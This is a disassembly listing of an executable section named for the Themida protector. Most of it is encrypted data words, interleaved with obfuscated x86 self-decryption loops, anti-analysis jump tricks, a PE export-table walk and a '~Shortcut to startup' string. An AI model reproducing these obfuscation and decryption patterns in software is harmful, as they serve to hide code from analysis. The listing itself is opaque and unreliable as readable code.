dd 4886E18h, 835BC30Dh, 1409F5BDh, 840F0206h, 63h, 5BDE8B51h
dd 12DD9D09h, 858B0614h, 6142D01h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 5DC35545h, 624A14B9h, 0FFBF0F2Eh
dd 0AE9h, 0C9E02700h, 0E8E6B91Fh, 0C65C1253h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0C7A1B7C3h, 14244D85h, 6, 21BD8B00h, 0E906142Eh, 0FFFFF0D7h
dd 2FA1BF66h, 8D01C18Bh, 614247Dh, 3D648D8Dh, 6A0619h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0F58D16C3h, 32298D89h, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 0DC6B4BC3h, 5A595D2h
dd 0AE9h, 6CD1BB00h, 9E26FA9Ch, 0C73F5E83h, 14064D85h
dd 623006h, 0AE900h, 0CAC90000h, 0A2727453h, 0F8B9A9AEh
dd 0C70FE280h, 14267185h, 6, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0EF6F762Ah
dd 0A3E041BFh, 0C2BF6605h, 359D89C0h, 0FF061415h, 1414ADB5h
dd 95BD8B06h, 0FF061425h, 14236195h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0F0AF291Fh
dd 0FF191426h, 95FF006Ah, 6141169h, 7CEBC08Bh, 11D0D594h
dd 0ADBA1540h, 8FCB49A7h, 22F12DFEh, 1A7ED09Ch, 3D7AA206h
dd 8459307Bh, 0EFD5DDBEh, 20D8A3C5h, 0EB73A366h, 0BB36B68Ah
dd 0F179C8D8h, 5D445FD6h, 69B1DD02h, 0AA53E051h, 95BFA3D2h
dd 177D8FA0h, 2E6BED6Eh, 33D047E1h, 7478B4A9h, 919A601h
dd 2CB54C2Ch, 0FBE77058h
dd 7BC5F700h, 91AB57F8h, 2B50985Bh, 0D495FBFAh, 0F452C38Bh
dd 242D03C2h, 34B14E67h, 7BDC22B1h, 3E8F8D8Dh, 9D8B0619h
dd 61402D1h, 32298D89h, 0D78B0614h, 4D85C7FCh, 0B4061406h
dd 6A00005Bh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 984FC350h, 0F11A9B14h, 0C7240431h
dd 14267185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0BD016030h, 61409DDh
dd 6120D380h, 14ADB5FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0C301C3h, 0FF9386EFh
dd 14236195h, 6AC28A06h, 6995FF00h, 8B061411h, 0DE7CEBC0h
dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh
dd 0F60AF8D8h, 6D881DDDh, 3656A724h, 0D6530C9Bh, 0C68DEE39h
dd 5BE1FAE9h, 0C889EB88h, 9335F770h, 0A5D607C6h, 82013818h
dd 99C63DE7h, 0CD00F1DBh, 0DFD28ED1h, 0B82FDFEh, 0FFA27D10h
dd 0C5DECB72h, 43BDC82Ch, 7A89FD2Fh, 776713D2h, 0CB908055h
dd 2F35EBC4h, 14BF9C9Fh, 0B2733CE0h, 0A77263BEh, 0E12F17C4h
dd 0DEDC3476h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch
dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338C3C6Ah, 0FFB44E60h
dd 0F867A5E4h, 0A08C3CE2h, 0D343A3BEh, 79672024h, 0C5C5A3BAh
dd 0D71B2027h, 338C053Ah, 831D2933h, 0C0982633h, 0BFA706B6h
dd 0D6157635h, 0AF811921h, 890DD963h, 839E3222h, 35982664h
dd 1F152359h, 4B811911h, 0B41DAB63h, 39E3F0Ch, 86CDB3CCh
dd 14932027h, 6AA1A23Ch, 0B0152633h, 9C811911h, 4DAACE63h
dd 0F6D82633h, 6CB0A3BEh, 24C8202Ah, 0CDA704B6h, 0FF677635h
dd 338C333Ah, 1794E2B0h, 54A704B6h, 23157635h, 55811921h
dd 0F40DD963h, 3D9E3222h, 6A982651h, 6474AD66h, 11CE7464h
dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h
dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h
dd 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh
dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh
dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C811923h, 0DDDABBEh
dd 9320202Ah, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h
dd 0FFF2850Fh, 0B58DFFFFh, 6194045h, 40648D8Dh, 0CF2B0619h
dd 8B05E983h, 0A3BB20C8h, 3026289Ch, 89EA9C67h, 696FB663h
dd 0B23D00A9h, 3632008Ch
db 28h, 0B4h, 0BBh
byte_59CC5F db 2Ch ; DATA XREF: Themida_:00548C7Co
dd 8BB18615h, 30265B0Ch, 73B62F01h, 5C321001h, 35DA5D01h
dd 16320401h, 0BF6FC15Ch, 0B736256Dh, 2036A445h, 73324001h
dd 0BC08E354h, 21D0914Eh, 603867A1h, 36320BE8h, 3EB75701h
dd 577A48D3h, 1095B48Eh, 63E9BD60h, 3409C95Bh, 831B1001h
dd 3026154Ch, 3622ED91h, 58210201h, 739F0190h, 86058BB6h
dd 0C2FFB5F6h, 50622756h, 0A65258BBh, 2A0FBD30h, 373D0215h
dd 5CCC264Dh, 35DA5601h, 16328001h, 0BF6D835Eh, 0B736047Dh
dd 2F363445h, 71320801h, 410BC756h, 45412966h, 30BD0EF4h
dd 0BF328001h, 222BC184h, 36587807h, 3631F854h, 6B120801h
dd 5ABB59C2h, 72B30625h, 362A0525h, 63778001h, 0CF959DC2h
dd 0F6B11E36h, 0F0B3762Dh, 3EB9FE79h, 0DE62046Bh, 36320202h
dd 6EF15921h, 3216C488h, 32160480h, 3632201Ah, 0B1F14041h
dd 79F3C0Ch, 3972F0E9h, 0BD54F8BEh, 3658FD49h, 36316852h
dd 6D124001h, 6ABB7BC2h, 72B31425h, 36250C25h, 65710401h
dd 0D87D7C2h, 8B336161h, 3026A23Ch, 0B1C2C167h, 83BB4143h
dd 30263CF4h, 0B8967h, 0C4B60BFEh, 50320201h, 0BBBBFF8Ah
dd 3026A55Ch, 503B8182h, 0B6BFE5BAh, 0B33DF938h, 36320934h
dd 0DE67046Bh, 36320202h, 6BF15C21h, 3216EC88h, 32160480h
dd 36322015h, 7AF14544h, 363218E8h, 6DC1E101h, 751AB2C3h
dd 795BD669h, 8FE9A196h, 30B44F2Bh, 1F322001h, 22315594h
dd 37738307h, 3634830Eh, 83B90201h, 3026289Ch, 0A3B94802h
dd 302660B8h, 5C37E182h, 35DA4301h, 16320801h, 0BF69C75Ah
dd 0B736265Dh, 21362545h, 75328001h, 0E4808352h, 0FB3089Ah
dd 0BD715B91h, 36818D0Eh, 36580401h, 3631EA56h, 69120101h
dd 4ABBDFC2h, 72B34425h, 36272425h, 61751001h, 0DF6496C2h
dd 3632040Ah, 3A84A2A7h, 43C99B9Dh, 0DE49A819h, 36324015h
dd 0B703C474h, 2437CE8Ah, 3197970Fh, 0C14017CEh, 1CCF9446h
dd 36320AE8h, 4D928101h, 0C168D874h, 0C54EE71Eh, 4FBF9D5Ah
dd 5C341C4Ch, 35DA5401h, 16320201h, 0BF6AC259h, 0B736A445h
dd 2E366445h, 76322001h, 3E30D351h, 0BDFFB978h, 3872DD8h
dd 8E341608h, 36320102h, 0DE64806Bh, 36324002h, 68F17E21h
dd 32166488h, 32164C80h, 36320415h, 0D4F15447h, 428DE0FEh
dd 0BF746445h, 22075984h, 36584107h, 3631F852h, 6D120801h
dd 6ABB5FC2h, 72B30625h, 362B0525h, 65718001h, 8F6B1FC2h
dd 0BB7FA0C9h, 2F7276BCh, 7EBF8507h, 8E341D42h, 37A08175h
dd 17CF8432h, 0F9198615h, 0A3BB20C0h, 3026289Ch, 89EA9C67h
dd 696FB663h, 0B23D00A9h, 3632008Ch, 83BBB428h, 0A4F305E9h
dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 189567C3h, 8B09E648h, 142BD5BDh, 0E8C38B06h
dd 0Ah, 7B9E0E03h, 0B3C4D39Bh, 0B70F1613h, 14E95BFBh, 40000000h
dd 0AFE8C2E3h, 5019EFF9h, 0DA5F2C62h, 0D7087073h, 812D7C89h
dd 6291C3h, 0CE900h, 0F83C0000h, 0F3B73D9Eh, 5D6186ADh
dd 0C02BD99Dh, 0B5016060h, 614009Dh, 8E0Fh, 0E9610000h
dd 10h, 0B00F54D3h, 43D28A3Fh, 86C5B89Ah, 41B6449h, 3148B61h
dd 1A259589h, 0F2810614h, 538B76E3h, 70A293BEh, 56F28101h
dd 0F63BA54h, 8Ch, 7AC28100h, 8B674501h, 140665BDh, 8B665206h
dd 3048FFEh, 3CA6C781h, 0BD896227h, 6140909h, 0E804E883h
dd 0Fh
dword_59D020 dd 0F5162D95h, 0D97C35A6h, 6C47ADDAh, 0E93BBEBAh, 8, 901BA061h
; DATA XREF: Themida_:00549FBCo
dd 70A4975Ch, 40F8815Eh, 0FFFFF9Eh, 0FFFF9085h, 0A6E646FFh
dd 0A68FFB60h, 0FBAC8935h, 0CA0599F6h, 0E20D6611h, 0A6953511h
dd 0F3C99835h, 0F6B16DF6h, 2DAD9E33h, 0B2A9A2A8h, 0CC4C0233h
dd 0A5649535h, 868C6235h, 2FD5F26Ch, 2788BC79h, 0BC886871h
dd 0E78C2635h, 0E42AD064h, 0EBEA5BCAh, 0A6862D83h, 5D476235h
dd 54224C51h, 5ADC2B06h, 963DF1B6h, 0D38C2021h, 4731903Ch
dd 0A68A9D2Fh, 0F5DCDD41h, 0A534A2BEh, 2F8C3131h, 0B296D1B0h
dd 9C11C133h, 598A3082h, 25D448E6h, 0B2966888h, 0B1F8C433h
dd 0A5343165h, 2F8C3131h, 0B296D1B0h, 8F11C133h, 598A3081h
dd 27D448E6h, 12AEC0ECh, 33127D25h, 0A9656D2Dh, 988C3135h
dd 0FA820921h, 0C9B7A600h, 42233B2Fh, 6607FA96h, 0C05C3E3Ah
dd 0B7371CB9h, 0EAB7A68h, 0C6083E31h, 0CC8C9836h, 0A5641A35h
dd 868C2635h, 2FD2D06Bh, 2788AD41h, 0B288E071h, 0E08C6235h
dd 0A948F263h, 0A68C99B8h, 1B0FB435h, 0A0983D38h, 82081C35h
dd 0F58C8935h, 0A68CCBDCh, 0ECAC6E35h, 0F493ED93h, 0F969172Dh
dd 994AB768h, 0A599CF6Ch, 2DEA1335h, 3F1982CCh, 188AD019h
dd 0A48C4535h, 2B438E3Ah, 0B1FAD7B0h, 0F58C2633h, 0A68C25DDh
dd 65D73335h, 82D0006Eh, 82C84531h, 0A68C7531h, 65DF7235h
dd 40B23427h, 10EB618Ah, 0CC5CD93Bh, 0A5644335h, 868C8935h
dd 2FD4076Dh, 27884671h, 0B2881571h, 0E68C9835h, 0A92B8F65h
dd 0A68C20B5h, 7B191035h, 238A9D37h, 7C08CBF5h, 0CC8C6235h
dd 0A5646435h, 868C9835h, 2FD18F68h, 27880259h, 0BF883771h
dd 0E38C8935h, 0BFC90760h, 8E9FCFDBh, 9F11BA55h, 5A8A8C3Fh
dd 0F1B4CD54h, 0A977A753h, 0A68C2DB0h, 4B010035h, 2F8AD011h
dd 0B2820BA0h, 0DE0D5733h, 0A98E9A31h, 0A68E94B1h, 0F08C4C35h
dd 0A68C10DDh, 65D2A935h, 82F84D6Bh, 82C8E331h, 0A68C2A31h
dd 65DADE35h, 0A6B5AC02h, 0D4178A70h, 0C00CC5B5h, 0C610B1B4h
dd 0A6D7413Ah, 0A6E66235h, 0A68FD964h, 0FFAC9835h, 0EA0515F6h
dd 0E20D2211h, 0A6981711h, 0F7CD8935h, 77079AF6h, 3BB380B4h
dd 0DE0C64AFh, 23837037h, 0A68C4C18h, 0A68C29DCh, 0C5727E35h
dd 7AC88907h, 74AD7880h, 4EF7371Dh, 0C006FEB5h, 0A68AE0B4h
dd 0AC09439Eh, 178C2635h, 0A4C3FA69h, 2DEA8935h, 0A78C7AFDh
dd 0A1652434h, 948C3135h, 5ABBEF3Ch, 23013F07h, 0A09B507Ah
dd 5C0DC8B4h, 7673D417h, 4EDAC45Fh, 0A68C6236h, 0F84F6F15h
dd 0A2A8ECBCh, 0A2A808B4h, 0A68C262Eh, 374F4573h, 9BF363E4h
dd 23908DDBh, 22086DF5h, 0AD8C3134h, 0B2A505A0h, 0C0B4CD33h
dd 0A98E2408h, 0A68C2AB0h, 610DEF35h, 540DA010h, 8ACAF2A8h
dd 0C08A49B4h, 0A9F6C708h, 0A68D94B1h, 0A9DD4635h, 0A68C13BBh
dd 0B465D035h, 2B8CC435h, 800E8436h, 0AEA687E3h, 605202A4h
dd 133E04D1h, 27EA4787h, 0A9EC8F0Dh, 0A68CC4B0h, 0A4F44435h
dd 0E5096DDDh, 0CC8C3135h, 0A564CA35h, 868C4C35h, 2FD6E56Fh
dd 27883761h, 0BD88AD71h, 0E48CC435h, 910EA167h, 0CAE9F494h
dd 1B8576E5h, 0A0986920h, 0A0F4A753h, 2383D335h, 0A68C893Bh
dd 8C4141BCh, 0C4656421h, 268C3134h, 0A6324FC7h, 2FF24D34h
dd 0B2ADD788h, 0E9099E33h, 5A8A9E43h, 13A514CAh, 0A0984214h
dd 2283F1B0h, 0A68C988Ah, 4EDC4C5Fh, 0A68C2636h, 0FE4F4B15h
dd 0A2A8CDBCh, 0A2A880B4h, 0A68C622Dh, 124F6175h, 0DB8AE718h
dd 0A229C1BEh, 9E0C2021h, 87091CDDh, 268C8935h, 0DE0C6FF2h
dd 23831130h, 0A68C3121h, 4D53638Ah, 0A1F4CC41h, 54082966h
dd 1F8C1335h, 0E9C82344h, 29B44553h, 0C2096D30h, 268C3135h
dd 0A9E49E4Dh, 0A68C16B0h, 6C074035h, 0ADF49253h, 2383ACCAh
dd 0A68CC47Eh, 4EDE625Fh, 0A68C3136h, 0FC4FC215h, 0A2A818BCh
dd 0A2A862B4h, 0A68C132Fh, 3C4FDB77h, 20C6D02h, 465330Eh
dd 0CC8C3135h, 0A564CD35h, 868C4C35h, 2FD1E568h, 27883759h
dd 0B188AD71h, 0E38CC435h, 0DAD6A160h, 27EA48A1h, 1EA654D6h
dd 0A68C4C35h, 4EDA265Fh, 0A68C1336h, 0F84FD715h, 0A2A8B0BCh
dd 0A2A826B4h, 0A68C312Eh, 244FCE73h, 0CBB6FF08h, 262A48FBh
dd 0AA658FC7h, 0F68C8935h, 849E55C5h, 7A7690CAh, 4F94F826h
dd 0A68C9876h, 4ED94C5Fh, 0A68C2636h, 0FB4F4E15h, 0A2A8E5BCh
dd 0A2A880B4h, 0A68C6220h, 7C4F6470h, 2D83F898h, 0A68C4C33h
dd 0A68CAF3Ah, 670D1335h, 0D10A1B02h, 0A00CCB54h, 2D8C6235h
dd 0B295D8A0h, 0A68D2033h, 36754C35h, 0AE644665h, 9D8C1335h
dd 4DFD7F03h, 4EA9F5F5h, 0A68C6232h, 640E1B25h, 0F94B34A4h
dd 6C072A6Bh, 650DB654h, 9BE66C8Ch, 0E2E634B8h, 2B01C22Ch
dd 0A0952B58h, 0C0D9128Dh, 0A7099B42h, 8D8A582Ch, 34A632FAh
dd 882FF24Dh, 33B2ADD7h, 43E9099Eh, 0CA5A8A9Eh, 1413A514h
dd 0B0A09842h, 0F305E983h, 0B96658A4h, 66508CDFh, 0F5FD68Bh
dd 888h, 9D8B5000h, 6140BF5h, 0B59D8B59h, 0B06142Ch, 4F840FC0h
dd 8B000000h, 1431959Dh, 79B58D06h, 0BF06144Dh, 31C5AD5Dh
dd 3B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0F04E12Dh, 0D8Ch, 8E900h, 86310000h
dd 0B989DAFDh, 0E6FF4E98h, 4DBD8Bh, 80400614h, 0C08B52E2h
dd 1941958Bh, 0BD830614h, 61430B1h, 83097500h, 141AE1BDh
dd 19740006h, 0C08B5350h, 403B8h, 0C1858900h, 8D061430h
dd 16B7A19Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
dd 403B8h, 0C1858900h, 8D061430h, 16B4429Dh, 5BD3FF06h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0E9F88D40h, 0F51D38B4h, 9D337C5Bh, 6140F6Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E8C35141h
dd 2A75BDF2h, 6E3A9AB5h, 0F98B665Ah, 223DBD8Bh, 0C08B0614h
dd 6CE1B966h, 448D8D61h, 8906194Bh, 141B71B5h, 298D8906h
dd 0B4061432h, 4D85C721h, 0F0061406h, 6A00006Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 8981C357h, 1422358Dh, 7185C706h, 61426h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 2914C351h, 14265995h, 19B5FF06h, 0F061423h
dd 485h, 68B86600h, 6195FF4Fh, 0B8061423h, 50B34740h, 95FF006Ah
; ---------------------------------------------------------------------------
loc_59D720: ; DATA XREF: Themida_:0054AE14o
imul edx, [ecx], 0C08B0614h
jmp short loc_59D746
; ---------------------------------------------------------------------------
dd 0FC473DEEh, 1EB048A2h, 83E3CFD7h, 22FA2CDh, 0B1D28087h
dd 0A8DA9290h, 0A9BE38FFh
db 69h, 0F9h
; ---------------------------------------------------------------------------
loc_59D746: ; CODE XREF: Themida_:0059D726j
lea ecx, [ebp+6194C00h]
mov [ebp+61413DDh], esi
mov [ebp+6143229h], ecx
push 0
push ebx
call sub_59D763
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59D763 proc near ; CODE XREF: Themida_:0059D75Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_59D763 endp
; ---------------------------------------------------------------------------
db 0FEh
dd 0F1214DB3h, 0C3BF0F6Eh, 64D85C7h, 71700614h, 0BD8B0000h
dd 614109Dh, 267185C7h, 614h, 0BD8B0000h, 6142D05h, 0D49B5FFh
dd 95010614h, 6140E15h, 236195FFh, 6A0614h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 8C20FEC3h
dd 0F2C36B70h, 820FD5F6h, 0
; ---------------------------------------------------------------------------
push 0
call dword ptr [ebp+6141169h]
mov eax, eax
jmp short loc_59D82D
; ---------------------------------------------------------------------------
dd 8B3BD6B5h, 374F8958h, 197CF544h, 485F2A17h, 24407AA7h
dd 0B6C16A88h, 63C9AC73h, 0BB864767h, 29C3B808h, 0E7368A6Bh
dd 7BD3E0D1h, 406561FEh, 0C32A9319h, 3900823h, 0B1277CFBh
dd 852A6553h, 28637CD7h, 151CD69Ch
db 0BEh
; ---------------------------------------------------------------------------
loc_59D82D: ; CODE XREF: Themida_:0059D7E2j
call sub_59D83A
loc_59D832: ; DATA XREF: Themida_:00549B14o
inc edi
rcr byte ptr [esi], cl
shl edx, 0C2h
mov cl, 0E0h
; =============== S U B R O U T I N E =======================================
sub_59D83A proc near ; CODE XREF: Themida_:loc_59D82Dp
cld
pop esi
add [ebp+6140F35h], esi
add esi, 748Bh
sub [ebp+614038Dh], edi
mov eax, 0
cld
loc_59D854: ; CODE XREF: sub_59D83A+64j
mov edi, [esi+eax]
sub dh, 0FCh
xor edi, 7D2E7CA9h
xor ecx, [ebp+61431A5h]
add edi, 66ABE377h
mov ecx, [ebp+614263Dh]
xor edi, 38D16957h
xor ecx, [ebp+6142FB9h]
mov [esi+eax], edi
add ebx, [ebp+6142C41h]
mov cl, 13h
sub eax, 4
jz loc_59D898
add [ebp+6141111h], ecx
loc_59D898: ; CODE XREF: sub_59D83A+52j
cmp eax, 0FFFF8BE4h
jnz loc_59D854
cmc
call sub_59D8B6
mov bh, 0Dh
db 64h
pop edi
retn 1A8Ch
sub_59D83A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0DCh, 33h, 75h
db 40h, 89h
; =============== S U B R O U T I N E =======================================
sub_59D8B6 proc near ; CODE XREF: sub_59D83A+6Bp
mov [ebp+61405B1h], edi
pop ecx
mov ebx, [ebp+6142115h]
add ecx, 6E48h
mov edx, 47DE1423h
xor edx, 47DE0F7Dh
mov esi, [ebp+614150Dh]
loc_59D8DA: ; CODE XREF: Themida_:0059D969j
mov edi, [ecx]
mov [ebp+6140041h], esi
xor edi, 3D20CE8Ah
mov ebx, [ebp+61434A5h]
add edi, 6B5A1B8Ch
mov ebx, edi
add edi, 52857F22h
ja loc_59D903
stc
loc_59D903: ; CODE XREF: sub_59D8B6+46j
push edi
pusha
push edi
call near ptr loc_59D914+1
inc ebp
pop edi
std
stc
or eax, 0C0BAB666h
loc_59D914: ; CODE XREF: sub_59D8B6+50p
db 36h
pop eax
sub_59D8B6 endp ; sp-analysis failed
pop ecx
cld
popa
pop dword ptr [ecx]
mov [ebp+61400EDh], ecx
sub ecx, 0F55603Ch
jb loc_59D933
or [ebp+6143195h], ebx
loc_59D933: ; CODE XREF: Themida_:0059D927j
add ecx, 0F556038h
jmp loc_59D94A
; ---------------------------------------------------------------------------
dw 0B64Ch
; ---------------------------------------------------------------------------
adc [esi+45785B31h], bh
xchg eax, esp
add [esi+9], dl
loc_59D94A: ; CODE XREF: Themida_:0059D939j
sub edx, 1
jnz loc_59D967
and ax, 9B6Ch
jmp loc_59D97E
; ---------------------------------------------------------------------------
db 0D7h, 7Ch, 63h
; ---------------------------------------------------------------------------
sub [esi+edx*8-341EAE4h], bl
loc_59D967: ; CODE XREF: Themida_:0059D94Dj
mov esi, edi
jmp loc_59D8DA
; ---------------------------------------------------------------------------
dw 8562h
dd 0D89F0BDFh, 0B70B371Ch, 4A7AD181h
db 0E8h, 67h
; ---------------------------------------------------------------------------
loc_59D97E: ; CODE XREF: Themida_:0059D958j
; DATA XREF: Themida_:00548CCCo
lea ecx, [ebp+6194E2Dh]
or bx, 23A6h
mov [ebp+6143229h], ecx
mov di, dx
sub edi, [ebp+61406BDh]
mov dword ptr [ebp+614064Dh], 5E20h
push ecx
jnb loc_59D9AF
mov [ebp+61400C1h], ebx
loc_59D9AF: ; CODE XREF: Themida_:0059D9A3j
pop eax
jno loc_59D9BC
mov eax, [ebp+6143129h]
loc_59D9BC: ; CODE XREF: Themida_:0059D9B0j
mov dword ptr [ebp+6142671h], 0
push 0
push edi
call sub_59D9D1
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59D9D1 proc near ; CODE XREF: Themida_:0059D9C9p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_59D9D1 endp
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
sahf
db 2Eh
pusha
cld
sbb edx, 463D7096h
popa
push dword ptr [ebp+6141071h]
mov [ebp+6142A39h], ecx
call dword ptr [ebp+6142361h]
or [ebp+6141B1Dh], edx
push 0
loc_59DA07: ; DATA XREF: Themida_:0054B618o
call dword ptr [ebp+6141169h]
mov eax, eax
jmp short loc_59DA20
; ---------------------------------------------------------------------------
db 64h, 0F7h, 79h
dd 8E91436h, 512E1B66h, 3935253Fh
; ---------------------------------------------------------------------------
loc_59DA20: ; CODE XREF: Themida_:0059DA0Fj
jmp loc_59DAD5
; ---------------------------------------------------------------------------
pusha
mov dx, ds
test dl, 4
jnz loc_59DA3E
cmp eax, [ebp+6141145h]
jz loc_59DA74
loc_59DA3E: ; CODE XREF: Themida_:0059DA2Cj
cmp eax, [ebp+6140931h]
jz loc_59DA74
cmp eax, [ebp+6143481h]
jz loc_59DA74
cmp eax, [ebp+61431FDh]
jz loc_59DA74
cmp dword ptr [ebp+6142C59h], 1
jz loc_59DA74
jmp loc_59DAD3
; ---------------------------------------------------------------------------
loc_59DA74: ; CODE XREF: Themida_:0059DA38j
; Themida_:0059DA44j ...
mov edx, eax
add edx, [edx+3Ch]
mov edi, [edx+88h]
mov ecx, [edx+78h]
test ecx, ecx
jz loc_59DAD3
add edx, 0F8h
mov esi, [edx+0Ch]
add ecx, eax
mov ebx, [ecx+1Ch]
mov edx, [ecx+14h]
add ebx, eax
loc_59DA9D: ; CODE XREF: Themida_:0059DABBj
mov ecx, [ebx]
test ecx, ecx
jz loc_59DAB7
cmp ecx, esi
jb loc_59DAC6
cmp ecx, edi
jnb loc_59DAC6
loc_59DAB7: ; CODE XREF: Themida_:0059DAA1j
add ebx, 4
dec edx
jnz loc_59DA9D
jmp loc_59DAD3
; ---------------------------------------------------------------------------
loc_59DAC6: ; CODE XREF: Themida_:0059DAA9j
; Themida_:0059DAB1j
lea ebx, [ebp+6144D79h]
mov eax, 5
jmp ebx
; ---------------------------------------------------------------------------
loc_59DAD3: ; CODE XREF: Themida_:0059DA6Fj
; Themida_:0059DA84j ...
popa
retn
; ---------------------------------------------------------------------------
loc_59DAD5: ; CODE XREF: Themida_:loc_59DA20j
or edx, eax
lea ebx, [ebp+6142E5Dh]
mov eax, 2Ah
mov [ebp+614265Dh], eax
call $+5
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_59DB24
; ---------------------------------------------------------------------------
word_59DAFA dw 0 ; DATA XREF: Themida_:0054BA3Co
dd 9 dup(77E6h), 0FFFF77E6h
; ---------------------------------------------------------------------------
loc_59DB24: ; CODE XREF: Themida_:0059DAF5j
call sub_59DB3D
inc esi
adc al, 0F9h
xchg eax, esi
das
db 36h
mov dl, 3
fisttp qword ptr [eax]
call far ptr 5DF6h:8A2B001Fh
int 3 ; Trap to Debugger
push es
cld
; =============== S U B R O U T I N E =======================================
sub_59DB3D proc near ; CODE XREF: Themida_:loc_59DB24p
var_32 = dword ptr -32h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
; FUNCTION CHUNK AT 0055D2A6 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0055EDD0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055F46F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005604E1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005613D2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00564C9E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565171 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566AEA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005697D7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A3A8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056A7B7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AB8C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BFB2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056BFE1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056C225 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C717 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056CA75 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005701F9 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005705C6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00570B64 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570CF1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00570DE7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571354 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005718B3 SIZE 0000000F BYTES
mov ah, 36h
pop esi
mov ah, bh
add esi, 69E8h
mov al, bl
push 1A4Eh
push ebx
add ebx, 75841C84h
pop eax
pop edx
jmp loc_59DB71
; ---------------------------------------------------------------------------
or [edx-63C8E804h], ecx
xlat
lea esi, ds:81403D91h
add al, 74h
cmp eax, 21B46085h
loc_59DB71: ; CODE XREF: sub_59DB3D+1Bj
; sub_59DB3D+8Bj
mov edi, [esi]
jmp loc_59DB82
; ---------------------------------------------------------------------------
dd 222462D8h, 33F04211h
db 0C9h, 78h
; ---------------------------------------------------------------------------
loc_59DB82: ; CODE XREF: sub_59DB3D+36j
sub edi, 501DA5D9h
jmp loc_59DB95
; ---------------------------------------------------------------------------
db 7Eh, 0EBh, 77h
dd 67BAE7F9h
db 74h
; ---------------------------------------------------------------------------
loc_59DB95: ; CODE XREF: sub_59DB3D+4Bj
sub edi, 62D57155h
mov ecx, edi
xor edi, 7DD0EAF2h
mov bx, 883Ah
mov [esi], edi
jmp loc_59DBB5
; ---------------------------------------------------------------------------
les eax, [eax]
db 26h
and al, 66h
call dword ptr [esi]
loc_59DBB5: ; CODE XREF: sub_59DB3D+6Cj
sub esi, 1
sbb cl, 0C6h
dec esi
dec esi
dec esi
pusha
mov di, 7Eh
mov bx, dx
popa
dec edx
jnz loc_59DB71
pusha
or dx, 0F29Ch
push edx
loc_59DBD5: ; DATA XREF: Themida_:0054A294o
jp $+6
pop edx
popa
jmp loc_59DC56
; ---------------------------------------------------------------------------
dw 117Ah
db 19h
aShortcutToStar db '~Shortcut to startup',0
align 4
dd 16h dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_59DC56: ; CODE XREF: sub_59DB3D+A0j
jmp loc_59EBC4
; ---------------------------------------------------------------------------
push 6195219h
